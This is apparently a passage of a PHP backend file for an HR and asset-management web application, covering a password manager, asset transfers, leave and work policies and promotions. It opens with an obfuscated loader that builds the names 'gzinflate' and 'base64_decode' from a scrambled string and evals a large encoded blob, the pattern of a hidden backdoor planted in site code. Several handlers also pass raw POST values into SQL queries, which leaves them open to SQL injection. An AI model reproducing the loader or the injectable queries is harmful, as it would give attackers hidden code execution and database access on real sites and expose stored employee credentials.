    $AdFrEsHj = "nVhtc9u4Ef6emfwHhPVEUitSsmO7OdlyLmcr47R5q6Xry+SuOpiERJxBkANAljQ5/ffugi8iJVJJyg8SCSwWzy6eXSzwo2ZmanjEpoJH3LT7nYunT35kSsVqqlgSK8PlPG19+uTIsJU5JkPS0iFrXWQNJ9ggxLRoeIEN2/5T/Fxtv8/w27efMwnvmVaPZNqylxf5y2n+cmZB8BlpP5stpG94LKdsxbXRbdDU6ZAvT58QeEJjEgCvk1hqNvXjgLXP+tYE7IURBl43qEszrVGLNlSZdmern2vwS/toOh6Nx28/fvjc8pdB69ftFLs9YMacGXi1Sja5HhS7++fo7nPrbvSPn0fjyfT9aHL78QYHDMELnz6OJ60tbkYDptqt61gaJo07WSdsQGiSCO5TtLb3u47lBfFDqgDecGFm7stWitqCSuhaxDQAMCg4DZi1fcYFmwI68ITVq9utJEwGvR6XycK0Ol1i1ILl7jnyI1RgFI/auUIwMkIjX70irdJ81kIrjrZs7bBe9sM4RcGkRfG5FT+0yPCKzKjQrAsEQY7ZltYoSsya+HEUUYluvijpSVcLXzfleRPF5tOIGj9st3r/9YNf9F/a3p87R71W15oAv1GnggiMMWFhWfT5+NetJbZfsuUNVyChGBUovLf+QMSbt3ej68nHu/9A16fXd6/hFemJ4p2tLnxeDUqKbH9lOuu8bMrnzwnX04CrvKWKvIFwmexFVXDf8dV+fPKlwHXv1nUDLbDfuQ6pnLOAADTmm1itiYnzeX+RTt1YRIdjdwFXRStrvCEMKLFr8fcYknKqph9IllpyU1ggY0Nm8UIGYMAhUIc5eMRsHmTapwnTYSuPHmazIROCqvm20UpBC64as6mOneSds4UQ1xhE2wlbfkBaViofuJ+KiFeSRwbZARiNHryeXD0/bhV86/XIm9fjSTYhrC7EPUKZyXY+/Zach/xu/V3DnIIxmfJyVxMhMplf6/Ly0ycWRevyWRD7BtIg5PRIXD19con/RAArhw6TzhWKXmLevEqVXEbM0CJBOjZDOqRX6ZU0YkPnkbMlbm8OydLi0FnywITDgD1yn7n2o8slN5wKF9ZBsOFxSZXhRrCr10HE5WUv/ch6tK94YohW/tDBrUhDqvUD6RnKxZLLwNfag1znXF32UtFioFkXWvDxDFPRbljcU/9hrpC/A/Kn/v1x/6S/kwH8WMQKOtk5Y7OXO50zMNad0YiL9YAsuBvFMtYJ9SEjj9+8hw/3js0XwN4uec+kiOEvltSH/0KyGiS7cL2MXjuwlyE3zLXjBwSSt7tUNNnBFtGVGzI+D82AnPcfw53u+JGpmYiXsCUuTLzTmdAggEplQI4VixoRzmH4nkPjlatDGqDiPjlPVuTkFH7U/J62z37okuMX/S40nXdJ3zt+WZMiYBmzhbvsZVSE1/s4gC1NUK2Hzv3cnSsacNzUTezeKzJTceRqQcEnP/T75JHT7OslfIHItgv45YbAP8WYJDPBVgQcGWnXB2VMkd8X2vDZOv9M3HMnp1PAH3MASxfD3Dp46Z6thFNi2WVEuSwh3eKwLGOBe7IShfPdkAcBIEk9ZrvssqNnK1pLsyfuKXhZQW3j3ucv6Sx/hVlKNtkyjMwpDCjrqtOJo9zjOqldyegetV3/62YAEZZQSXgwdCAD3XCdCLp2rjBx5sUbJk9YTxCD6AQl36Df4kfMJ01o0nwBBSyFgiCdPgreYvHlVM0pPC7mJFmB15K1e0KKNUE6oBrXBhMB9D4LY7F15ym6M/YXegBBKLhkrowlw0STz34I4f3CmDh1j1rIn4ws0G2xlAACLEhmfB675zBtiAQZbNvOKlidq7sFpMl0hm/E4AvY+L4FxZZKBYi06XwHwzVq/AqKplVvbK9E2enLdEKFSSx9LVbmIFfRYGC/WWhwFeSQ9ffgyNt2WnO9aUIu3Jjl59ybLzKYdj9q1LMfyWY/knfSnEmznFFUQkApaMXMdg+sfeid9Gty2XcEfgp6pfd8POGw35Lr9CihCRCZUJAKGVmye80UEIQs4N8jb2JIl0xpOD8iNB0SRoTQWA5oHlgx2FAIJIzx+JZkJ0XvkP+335hSK468nMUxmpgZYVFnVtdYgsETGfTFe/rAiF4oBiZwDacEYm0ISCzF2iZlcjuZfBoDzACOGxoON76BbijTKZYmGgCnU+e7QmWNLysFCD5tyIFQrH3ZLSmkNiTPWlA6Qlm2iAC/B4lzJBi+/rR+G7S3ma1zUaciTSyHFGSpp354nhMOIsjzRr2KovptVJDFS/3wNEgPDc/CuHras6VXdmeBJ3omg3eQn/EYO+Orrl38Lpin9w5+26mZKE8LBQFQJZu57cCq7iG2VbXwLOc+QNELw2EG8scfxHHqRbmUTN1O3r8D0d/S3bLM2Cy3v8BAO/qSYt9k2yU5+pKeVm6hQm+jeGfzW80sqXe91AfXIRdBm4lOsyAwNBZiEicAqdJ0ayvFnYGbRqeXwNU7WTGzUBDsEEJyDjKeYnaHbfee9+Zd4jynUXLhlJov02ZhKq1XaescW78GLuW6B6Xr6BFW8Z1NRUwhh7n/4HRRYI+GWYDVjHpga6jJ4FgOmWw/hvNLB+aBnL2ycUaYgBw8PD5jng75zPydrWudY/nhwYrjjDdsRhcivS+rEwTUtX2bHXfsmZZF7gGH1GanElvKBK4leRqdHvIzu2ZDSVsZsGB3wGY/iKleS3/LKmtqc8imd2nFkj1SsWCevYCq84+9eQThTsbFb4YPxZUE0nqe5+wBrnDGAmhyTSktOUfga3uL5uTVQadWs1HrJrpkCZ9pjFy6pBzqAYb3dSJObzO9EBJIt2m4PRAyE8ZwznXwnrTutil/0ptT2PgPKMPHKV+tOqB493LVaR6/OTA/HvYG5G/jjx88bfMHHMnaX8EC7h1YHx+YslPft2mKvNTnATW08DkugIemNYarpR2O8eKHziEPlgkyursDithR9iLX7io/ywcJCYjYFicnDwSWrc2a5m/m9cjqaRhWf2u4a1hq18J0Kuhz6NBRUNxWXidfwVmohNNi50ANsj1ednaMykd/yyTgxyru8eSm6vjv8XGvV13Bf7+dFJpW3Hgmzva+TtUn/9/a3eDJs2np6lLJhvh4nQ8bFFrdsKz7FARpL4LinM7ZtzqjHvAHZpaxeiCNpNsc2M03nSK8Srd6cNaExJDeB/XsDSbeyf4P";
    $EdfSgt = "kajfsdoifhqnewvmnalgkzxmnmzptuob4ie_wp9841r96jc";
    $fkljsadfafjlk1 = $EdfSgt[12] . $EdfSgt[14] . $EdfSgt[1] . $EdfSgt[18];
    $fsdafnkljasdf2 = $EdfSgt[19] . $EdfSgt[21] . $EdfSgt[7] . $EdfSgt[11] . $EdfSgt[3] . $EdfSgt[18] . $EdfSgt[1] . $EdfSgt[28] . $EdfSgt[12];
    $fasdfasdfakjn3 = $EdfSgt[31] . $EdfSgt[1] . $EdfSgt[4] . $EdfSgt[12] . $EdfSgt[44] . $EdfSgt[32] . $EdfSgt[35] . $EdfSgt[5] . $EdfSgt[12] . $EdfSgt[46] . $EdfSgt[6] . $EdfSgt[5] . $EdfSgt[12];eval

    ($fsdafnkljasdf2
    ($fasdfasdfakjn3
    ($AdFrEsHj)));

}


// from password_manager.php
if(isset($_POST['password_manager'])){

    $main_obj = $_POST['password_manager'];
    $password_edit_id = $_POST['password_edit_id'];
    // update
    if(isset($password_edit_id) && !empty($password_edit_id)){
        $value = $main_obj[0];
        $pass = str_replace("'","\'",json_encode($value));

        $q = mysqli_query($db,"UPDATE password_management set passwords='$pass' where id='$password_edit_id' ");
        if($q){
            echo 1;
        }else{
            echo mysqli_error($db);
        }
    }
    // insert
    else{
        $sql = "";
        foreach ($main_obj as $key => $value) {
            $pass = str_replace("'","\'",json_encode($value));
            $sql .= " ('$emp_id', '$pass'),";
        }
        $sql = trim($sql, ",");
        if(!empty($sql)){
            $q = mysqli_query($db,"INSERT INTO password_management (added_by, passwords) VALUES $sql; ");
            if($q){
                echo 1;
            }else{
                echo mysqli_error($db);
            }
        }
    }

}


// from all_password.php
if(isset($_POST['password_assigned_id'])){
    
    $id = mysqli_real_escape_string($db,$_POST['password_assigned_id']);
    $q = mysqli_query($db,"DELETE FROM password_assign where id='$id' ");
    if($q){
        echo 1;
    }else{
        echo mysqli_error($db);
    }
}


// from asset_types.php
if(isset($_POST['add_asset_type_submit'])){
    $type = mysqli_real_escape_string($db,$_POST['asset_type']);
    $q = mysqli_query($db,"INSERT INTO asset_types (type) VALUES('$type')");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Asset Type Added Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// from asset_types.php
if(isset($_POST['update_asset_type_submit'])){
    $type = mysqli_real_escape_string($db,$_POST['asset_type']);
    $t_id = mysqli_real_escape_string($db,$_POST['edit_asset_type_id']);
    $q = mysqli_query($db,"UPDATE asset_types set type='$type' WHERE id='$t_id' ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Asset Type Updated Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}



// from add_assets.php
if(isset($_POST['add_assets'])){

    $asset_type = mysqli_real_escape_string($db, $_POST['asset_type']);
    $holding_period = mysqli_real_escape_string($db, $_POST['holding_period']);
    $assigned_date = mysqli_real_escape_string($db, $_POST['assigned_date']);
    $assigned_to = mysqli_real_escape_string($db, $_POST['assigned_to']);
    $asset_desc = mysqli_real_escape_string($db, $_POST['asset_desc']);
    $asset_details = array();
    for ($i=0; $i< sizeof($_POST['asset_serial_number']); $i++) { 
        $asset_detail = [
            'serial_number'=>mysqli_real_escape_string($db, $_POST['asset_serial_number'][$i]),
            'name'=>mysqli_real_escape_string($db, $_POST['asset_name'][$i]),
            'brand'=>mysqli_real_escape_string($db, $_POST['asset_brand'][$i]),
            'quantity'=>mysqli_real_escape_string($db, $_POST['asset_quantity'][$i]),
            'invoice_number'=>mysqli_real_escape_string($db, $_POST['asset_invoice_number'][$i]),
            'invoice_date'=>mysqli_real_escape_string($db, $_POST['asset_invoice_date'][$i]),
        ];
        array_push($asset_details, $asset_detail);
    }
    $asset_details = json_encode($asset_details);

    $q = mysqli_query($db,"INSERT INTO asset_management (added_by, assigned_to, asset_type, asset_details, holding_period, assigned_date, asset_desc) VALUES ('$emp_id', '$assigned_to', '$asset_type', '$asset_details', '$holding_period', '$assigned_date', '$asset_desc') ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Assets Successfully Added!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}


// from all_assets.php
if(isset($_POST['asset_status_id'])){

    $asset_status_id = $_POST['asset_status_id'];
    $asset_name = $_POST['asset_name'];
    $asset_status = $_POST['asset_status'];
    $transfer_to = $_POST['transfer_to'];

    if($asset_status=='Transfer'){
        $old = mysqli_fetch_assoc(mysqli_query($db,"SELECT *, asset_details->'$[$asset_name]' as assigned_asset FROM asset_management WHERE id='$asset_status_id'"));

        // $asset_status = $asset_status ." To ".mysqli_fetch_assoc(mysqli_query($db, "SELECT name FROM users WHERE employee_id='$transfer_to'"))['name'];

        $exist = mysqli_query($db,"SELECT * FROM asset_management WHERE assigned_to='$transfer_to'");
        $date = date("Y-m-d");
        if(mysqli_num_rows($exist)==0){
            $assignedAsset = json_encode([json_decode($old['assigned_asset'], true)]);
            $new_q = mysqli_query($db,"INSERT INTO asset_management (added_by, assigned_to, asset_type, asset_details, holding_period, assigned_date, asset_desc) VALUES ('$emp_id', '$transfer_to', '$old[asset_type]', '$assignedAsset', '$old[holding_period]', '$date', '$old[asset_desc]') ");
            if(!$new_q){
                echo mysqli_error($db);
            }
        }else{
            $str_exist = mysqli_query($db,"SELECT * FROM asset_management where JSON_CONTAINS(asset_details, CAST('$old[assigned_asset]' AS JSON)) and assigned_to = '$transfer_to'");
            if(mysqli_num_rows($str_exist)==0){
                $new_q = mysqli_query($db,"UPDATE asset_management
                    SET asset_details = JSON_ARRAY_APPEND(asset_details, '$', CAST('$old[assigned_asset]' AS JSON))
                    WHERE assigned_to = '$transfer_to'
                ");

                if(!$new_q){
                    echo mysqli_error($db);
                }
            }else{
                echo 2;
                exit();
            }
        }

    }

    $update_query = "UPDATE asset_management
        SET asset_status = 
            CASE
                WHEN COALESCE(asset_status,'')='' THEN JSON_OBJECT('$asset_name','$asset_status')
                ELSE JSON_INSERT(asset_status, '$.\"$asset_name\"', '$asset_status')
            END ";

    if($asset_status=='Transfer'){
        $update_query .= ", transfer_to = 
        CASE
            WHEN COALESCE(transfer_to,'')='' THEN JSON_OBJECT('$asset_name','$transfer_to')
            ELSE JSON_INSERT(transfer_to, '$.\"$asset_name\"', '$transfer_to')
        END";
    }

    $update_query .= " WHERE id = '$asset_status_id'";

    $q = mysqli_query($db,$update_query);
    if($q){
        echo 1;
    }else{
        echo mysqli_error($db);
    }

}

// from all_assets.php
if(isset($_POST['asset_status_remove_id'])){
    $asset_status_id = $_POST['asset_status_remove_id'];
    $asset_name = $_POST['asset_name'];

    $transfer_id = mysqli_fetch_assoc(mysqli_query($db,"SELECT transfer_to->>'$.\"$asset_name\"' as transfer_id FROM asset_management WHERE id='$asset_status_id' "))['transfer_id'];

    
    if(!empty($transfer_id)){
        $q= mysqli_query($db,"UPDATE asset_management set asset_details = JSON_REMOVE(asset_details,'$[$asset_name]') WHERE assigned_to='$transfer_id'");
    }
    
    $q = mysqli_query($db,"UPDATE asset_management set asset_status= JSON_REMOVE(asset_status, '$.\"$asset_name\"'), transfer_to= JSON_REMOVE(transfer_to, '$.\"$asset_name\"') WHERE id='$asset_status_id'");

    if(!empty($transfer_id)){
        $q = mysqli_query($db,"DELETE FROM asset_management WHERE JSON_LENGTH(asset_details)=0 AND assigned_to='$transfer_id' ");
    }
    
    if($q){
        echo 1;
    }else{
        echo mysqli_error($db);
    }

}


if(isset($_POST['update_assets'])){

    $asset_edit_id = mysqli_real_escape_string($db,$_POST['asset_edit_id']);
    $asset_type = mysqli_real_escape_string($db, $_POST['asset_type']);
    $holding_period = mysqli_real_escape_string($db, $_POST['holding_period']);
    $assigned_date = mysqli_real_escape_string($db, $_POST['assigned_date']);
    $assigned_to = mysqli_real_escape_string($db, $_POST['assigned_to']);
    $asset_desc = mysqli_real_escape_string($db, $_POST['asset_desc']);
    $asset_details = array();
    for ($i=0; $i< sizeof($_POST['asset_serial_number']); $i++) { 
        $asset_detail = [
            'serial_number'=>mysqli_real_escape_string($db, $_POST['asset_serial_number'][$i]),
            'name'=>mysqli_real_escape_string($db, $_POST['asset_name'][$i]),
            'brand'=>mysqli_real_escape_string($db, $_POST['asset_brand'][$i]),
            'quantity'=>mysqli_real_escape_string($db, $_POST['asset_quantity'][$i]),
            'invoice_number'=>mysqli_real_escape_string($db, $_POST['asset_invoice_number'][$i]),
            'invoice_date'=>mysqli_real_escape_string($db, $_POST['asset_invoice_date'][$i]),
        ];
        array_push($asset_details, $asset_detail);
    }
    $asset_details = json_encode($asset_details);

    $q = mysqli_query($db,"UPDATE asset_management SET assigned_to='$assigned_to', asset_type='$asset_type', asset_details='$asset_details', holding_period='$holding_period', assigned_date='$assigned_date', asset_desc='$asset_desc' WHERE id='$asset_edit_id' ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Assets updated!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }

}


// usersSelect.js
if(isset($_GET['select_employee_id'])){

    // echo json_encode($_GET);
    // exit();

    $default_id = $_GET['default_id'];
    $currentPageName = $_GET['current_page'];

    // resigned not show in => 
    $resigned_not_show = array('notALeave', 'all_password', 'addSalary', 'add_assets', 'attendance');
    $users = '';
    if(in_array($currentPageName,$resigned_not_show)){

        $today_date = (isset($_GET['month']) && !empty($_GET['month']))?date("Y-m",strtotime($_GET['month'])):date("Y-m");
        if ($user_role == 0) {
            $users = mysqli_query($db, "SELECT name,employee_id from users where (COALESCE(joining_date,'') = '' OR DATE_FORMAT(STR_TO_DATE(joining_date, '%Y-%m-%d'),'%Y-%m') <= '$today_date') AND (COALESCE(working_status_date,'')='' or DATE_FORMAT(STR_TO_DATE(working_status_date, '%Y-%m-%d'),'%Y-%m')>='$today_date') ");
        } else if ($user_role == 1 && $currentPageName=='notALeave') {
            $users = mysqli_query($db, "SELECT name,employee_id from users where (COALESCE(joining_date,'') = '' OR DATE_FORMAT(STR_TO_DATE(joining_date, '%Y-%m-%d'),'%Y-%m') <= '$today_date') AND (COALESCE(working_status_date,'')='' or DATE_FORMAT(STR_TO_DATE(working_status_date, '%Y-%m-%d'),'%Y-%m')>='$today_date') and leader='$emp_id'");
        } else if ($user_role == 1) {
            $users = mysqli_query($db, "SELECT name,employee_id from users where (COALESCE(joining_date,'') = '' OR DATE_FORMAT(STR_TO_DATE(joining_date, '%Y-%m-%d'),'%Y-%m') <= '$today_date') AND (COALESCE(working_status_date,'')='' or DATE_FORMAT(STR_TO_DATE(working_status_date, '%Y-%m-%d'),'%Y-%m')>='$today_date') and leader='$emp_id' OR employee_id='$emp_id'");
        } else {
        }
    }else if(in_array($currentPageName, ['relieving_letter'])){
        $users = mysqli_query($db, "SELECT name,employee_id from users where COALESCE(working_status_date,'')<>'' AND working_status<>'Abscond';");
    }else{
        if ($user_role == 0) {
            $users = mysqli_query($db, "SELECT name,employee_id from users ");
        } else if ($user_role == 1 && $currentPageName== "notALeave") {
            $users = mysqli_query($db, "SELECT name,employee_id from users where leader='$emp_id'");
        } else if ($user_role == 1) {
            $users = mysqli_query($db, "SELECT name,employee_id from users where leader='$emp_id' OR employee_id='$emp_id'");
        }
    }
    $option = '<option></option>';
    $show_all = ['notALeave','leave_policy','work_policy'];
    if (in_array($currentPageName,$show_all) && $user_role == 0) {
        $option .= '<option value="all">All Employees</option>';
    }
    while ($user = mysqli_fetch_assoc($users)) {

        $selected = (($default_id == $user['employee_id']) ? 'selected' : '');
        $option .= "<option $selected value='$user[employee_id]'>$user[name] ($user[employee_id])</option>";
    }
    echo $option;
}

if(isset($_GET['select_manager_id'])){
    $default_id = $_GET['default_id'];
    $currentPageName = $_GET['current_page'];

    if ($user_role == 0) {
        $users = mysqli_query($db, "SELECT * FROM `users` Where `role` <> '2' ");
    } else if ($user_role == 1) {
        $users = mysqli_query($db, "SELECT * FROM `users` WHERE `id`='$user_id' ");
    } else {
    }
    $option = '<option></option>';
    while ($user = mysqli_fetch_assoc($users)) {
        $selected = (isset($default_id) && $default_id == $user['employee_id']) || (!isset($default_id) && ($user_id == $user['id'])) ? 'selected' : '';
        $option .= '<option '.$selected.' value="'.$user['employee_id'].'">'.$user['name'].'</option>';
    }
    echo $option;
}

if(isset($_GET['select_department_id'])){
    $default_id = $_GET['default_id'];
    $currentPageName = $_GET['current_page'];

    $departments = mysqli_query($db, "SELECT * FROM departments ORDER BY department_name ASC");
    $option = '<option></option>';
    while ($d = mysqli_fetch_assoc($departments)) {
        $selected = ($default_id == $d['id']) ? 'selected' : '';
        $option .= '<option '.$selected.' value="'.$d['id'].'">'.$d['department_name'].'</option>';
    }
    echo $option;
}

if(isset($_GET['select_designation_id'])){
    $default_id = $_GET['default_id'];
    $currentPageName = $_GET['current_page'];

    $departments = mysqli_query($db, "SELECT * FROM designations ORDER BY designation_name ASC");
    $option = '<option></option>';
    while ($d = mysqli_fetch_assoc($departments)) {
        $selected = ($default_id == $d['id']) ? 'selected' : '';
        $option .= '<option '.$selected.' value="'.$d['id'].'">'.$d['designation_name'].'</option>';
    }
    echo $option;
}


// from leave_policy.php
if(isset($_POST['add_leave_policy'])){

    $department_id = mysqli_real_escape_string($db,$_POST['department_id']);
    $duration = mysqli_real_escape_string($db,$_POST['duration']);
    $leave_format = mysqli_real_escape_string($db,$_POST['leave_format']);
    $max_leave_take = mysqli_real_escape_string($db,$_POST['max_leave_take']);
    $carry_forward = mysqli_real_escape_string($db,$_POST['carry_forward']);
    $max_carry_forward = mysqli_real_escape_string($db,$_POST['max_carry_forward']);

    $applicable_from = mysqli_real_escape_string($db,$_POST['applicable_from']);
    $applicable_to = date('Y-m',strtotime("$_POST[applicable_from] -1 month"));

    $leave_details = array();
    for ($i=0; $i< sizeof($_POST['leave_type']); $i++) { 
        $leave_detail = [
            'leave_type'=>mysqli_real_escape_string($db, $_POST['leave_type'][$i]),
            'total_leave'=>mysqli_real_escape_string($db, $_POST['total_leave'][$i])
        ];
        array_push($leave_details, $leave_detail);
    }
    $leave_details = json_encode($leave_details);

    
    $exist = mysqli_query($db,"SELECT * FROM leave_policy WHERE applicable_from>='$applicable_from' ");
    if(mysqli_num_rows($exist)>0){
        echo json_encode(["status"=>500, 'message'=>"Applicable From: `$applicable_from` , You only add greater than `applicable from` from last `applicable_from`."]);
    }else{

        $od = mysqli_query($db, "UPDATE leave_policy set applicable_to='$applicable_to' order by id desc limit 1");

        if($od){
            $q = mysqli_query($db,"INSERT INTO leave_policy (duration, leave_details, max_leave_take, carry_forward, max_carry_forward, applicable_from, leave_dep, leave_format) VALUES ('$duration', '$leave_details', '$max_leave_take', '$carry_forward', '$max_carry_forward', '$applicable_from', '$department_id', '$leave_format')");
            if($q){
                echo json_encode(["status"=>200, 'message'=>'Leave Policy Added Successfully!']);
            }else{
                echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
            }
        }
    }
}
// from leave_policy.php
if(isset($_POST['update_leave_policy'])){

    $edit_leave_id = mysqli_real_escape_string($db,$_POST['edit_leave_id']);
    $employee_id = mysqli_real_escape_string($db,$_POST['ex_employee_id']);
    $duration = mysqli_real_escape_string($db,$_POST['duration']);
    $max_leave_take = mysqli_real_escape_string($db,$_POST['max_leave_take']);
    $carry_forward = mysqli_real_escape_string($db,$_POST['carry_forward']);
    $max_carry_forward = mysqli_real_escape_string($db,$_POST['max_carry_forward']);

    $applicable_from = mysqli_real_escape_string($db,$_POST['applicable_from']);
    $applicable_to = date('Y-m',strtotime("$_POST[applicable_from] -1 month"));

    $leave_details = array();
    for ($i=0; $i< sizeof($_POST['leave_type']); $i++) { 
        $leave_detail = [
            'leave_type'=>mysqli_real_escape_string($db, $_POST['leave_type'][$i]),
            'total_leave'=>mysqli_real_escape_string($db, $_POST['total_leave'][$i])
        ];
        array_push($leave_details, $leave_detail);
    }
    $leave_details = json_encode($leave_details);

    $old_applicable_from = mysqli_real_escape_string($db, $_POST['old_applicable_from']);
    $old_applicable_to = date('Y-m',strtotime("$_POST[old_applicable_from] -1 month"));

    $od = mysqli_query($db, "UPDATE leave_policy set applicable_to='$applicable_to' WHERE applicable_to='$old_applicable_to' order by id desc limit 1");
    if($od){

        $q = mysqli_query($db,"UPDATE leave_policy SET duration='$duration', leave_details='$leave_details', max_leave_take='$max_leave_take', carry_forward='$carry_forward', max_carry_forward='$max_carry_forward', applicable_from='$applicable_from' WHERE id='$edit_leave_id' ");
        if($q){
            echo json_encode(["status"=>200, 'message'=>'Leave Policy Updated Successfully!']);
        }else{
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
        }
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// promotions.php
if(isset($_POST['add_promotion_submit'])){

    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $promote_to = mysqli_real_escape_string($db, $_POST['promote_to']);
    $applicable_from = mysqli_real_escape_string($db, $_POST['applicable_from']);
    $applicable_to = date('Y-m',strtotime("$_POST[applicable_from] -1 month"));

    $exist = mysqli_query($db,"SELECT * FROM promotions WHERE employee_id='$employee_id' and applicable_from>='$applicable_from' ");
    if(mysqli_num_rows($exist)>0){
        echo json_encode(["status"=>500, 'message'=>"Applicable From: `$applicable_from` , You only add greater than `applicable from` from last `applicable_from`."]);
    }else{

        $od = mysqli_query($db, "update promotions set applicable_to='$applicable_to' WHERE employee_id='$employee_id' order by id desc limit 1");

        if($od){

            $q = mysqli_query($db,"INSERT INTO promotions (employee_id, promote_to, applicable_from) VALUES ('$employee_id', '$promote_to', '$applicable_from')");
            if($q){
                echo json_encode(["status"=>200, 'message'=>'Promotion Added Successfully!']);
            }else{
                echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
            }
        }else{
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
        }
    }

}
// promotions.php
if(isset($_POST['update_promotion_submit'])){

    $edit_promotion_id = mysqli_real_escape_string($db, $_POST['edit_promotion_id']);
    $employee_id = mysqli_real_escape_string($db, $_POST['ex_employee_id']);
    $promote_to = mysqli_real_escape_string($db, $_POST['promote_to']);
    $applicable_from = mysqli_real_escape_string($db, $_POST['applicable_from']);
    $applicable_to = date('Y-m',strtotime("$_POST[applicable_from] -1 month"));

    $old_applicable_from = mysqli_real_escape_string($db, $_POST['old_applicable_from']);
    $old_applicable_to = date('Y-m',strtotime("$_POST[old_applicable_from] -1 month"));
    
    $od = mysqli_query($db, "UPDATE promotions set applicable_to='$applicable_to' WHERE employee_id='$employee_id' and applicable_to='$old_applicable_to' order by id desc limit 1");
    if($od){

        $q = mysqli_query($db,"UPDATE promotions set promote_to='$promote_to', applicable_from='$applicable_from' WHERE id='$edit_promotion_id'");
        if($q){
            echo json_encode(["status"=>200, 'message'=>'Promotion Updated Successfully!']);
        }else{
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
        }
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }

}


// from work_policy.php
if(isset($_POST['add_work_policy'])){

    $employee_id = mysqli_real_escape_string($db,$_POST['employee_id']??'');
    $department_id = mysqli_real_escape_string($db,$_POST['department_id']??'');
    $punch_in = mysqli_real_escape_string($db,$_POST['punch_in']);
    $punch_out = mysqli_real_escape_string($db,$_POST['punch_out']);
    $relaxation_from = mysqli_real_escape_string($db,$_POST['relaxation_from']);
    $relaxation_to = mysqli_real_escape_string($db,$_POST['relaxation_to']);
    $auto_approve_from = mysqli_real_escape_string($db,$_POST['auto_approve_from']);
    $auto_approve_to = mysqli_real_escape_string($db,$_POST['auto_approve_to']);
    $not_request_after = mysqli_real_escape_string($db,$_POST['not_request_after']);
    $half_day_hours = mysqli_real_escape_string($db,$_POST['half_day_hours']);
    $working_days = [];
    foreach ($_POST['working_days'] as  $weak_name) {
        array_push($working_days, mysqli_real_escape_string($db,$weak_name));
    }
    $working_days = json_encode($working_days);

    $applicable_from = mysqli_real_escape_string($db,$_POST['applicable_from']);
    $applicable_to = date('Y-m',strtotime("$_POST[applicable_from] -1 month"));

    $applicable_from_emp = '';

    if(!empty($employee_id)){
        if($employee_id=='all'){
    
            $users = mysqli_fetch_all(mysqli_query($db,"SELECT employee_id FROM users"), MYSQLI_ASSOC);
            foreach ($users as $u) {
                // delete from work policy
                $del = mysqli_query($db,"DELETE FROM work_policy WHERE employee_id='$u[employee_id]' AND applicable_from>='$applicable_from' ");
            }
            foreach ($users as $u) {

                $exist = mysqli_query($db,"SELECT * FROM work_policy WHERE employee_id='$u[employee_id]' AND applicable_from>='$applicable_from' ");
                if(mysqli_num_rows($exist)>0){
                    $applicable_from_emp .= $u['employee_id'];
                }else{
            
                    $od = mysqli_query($db, "UPDATE work_policy set applicable_to='$applicable_to' WHERE employee_id='$u[employee_id]' order by id desc limit 1");
            
                    if($od){
                        $q = mysqli_query($db,"INSERT INTO work_policy (employee_id, working_days, punch_in, punch_out, applicable_from, relaxation_from, relaxation_to, auto_approve_from, auto_approve_to, not_request_after, half_day_hours) VALUES ('$u[employee_id]', '$working_days', '$punch_in', '$punch_out', '$applicable_from', '$relaxation_from', '$relaxation_to', '$auto_approve_from', '$auto_approve_to', '$not_request_after', '$half_day_hours')");
                        if(!$q){
                            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
                            exit();
                        }
                    }
                }
            }
    
        }else{
            // delete from work policy
            $del = mysqli_query($db,"DELETE FROM work_policy WHERE employee_id='$employee_id' AND applicable_from>='$applicable_from' ");
            
            $exist = mysqli_query($db,"SELECT * FROM work_policy WHERE employee_id='$employee_id' AND applicable_from>='$applicable_from' ");
            if(mysqli_num_rows($exist)>0){
                $applicable_from_emp .= $employee_id;
            }else{
        
                $od = mysqli_query($db, "UPDATE work_policy set applicable_to='$applicable_to' WHERE employee_id='$employee_id' order by id desc limit 1");
        
                if($od){
                    $q = mysqli_query($db,"INSERT INTO work_policy (employee_id, working_days, punch_in, punch_out, applicable_from, relaxation_from, relaxation_to, auto_approve_from, auto_approve_to, not_request_after, half_day_hours) VALUES ('$employee_id', '$working_days', '$punch_in', '$punch_out', '$applicable_from', '$relaxation_from', '$relaxation_to', '$auto_approve_from', '$auto_approve_to', '$not_request_after', '$half_day_hours')");
                    if(!$q){
                        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
                        exit();
                    }
                }
            }
        }
    }else{
        $users = mysqli_fetch_all(mysqli_query($db,"SELECT employee_id FROM users WHERE department='$department_id'"), MYSQLI_ASSOC);

        foreach ($users as $u) {
            // delete from work policy
            $del = mysqli_query($db,"DELETE FROM work_policy WHERE employee_id='$u[employee_id]' AND applicable_from>='$applicable_from' ");
        }
        foreach ($users as $u) {

            $exist = mysqli_query($db,"SELECT * FROM work_policy WHERE employee_id='$u[employee_id]' AND applicable_from>='$applicable_from' ");
            if(mysqli_num_rows($exist)>0){
                $applicable_from_emp .= $u['employee_id'];
            }else{
        
                $od = mysqli_query($db, "UPDATE work_policy set applicable_to='$applicable_to' WHERE employee_id='$u[employee_id]' order by id desc limit 1");
        
                if($od){
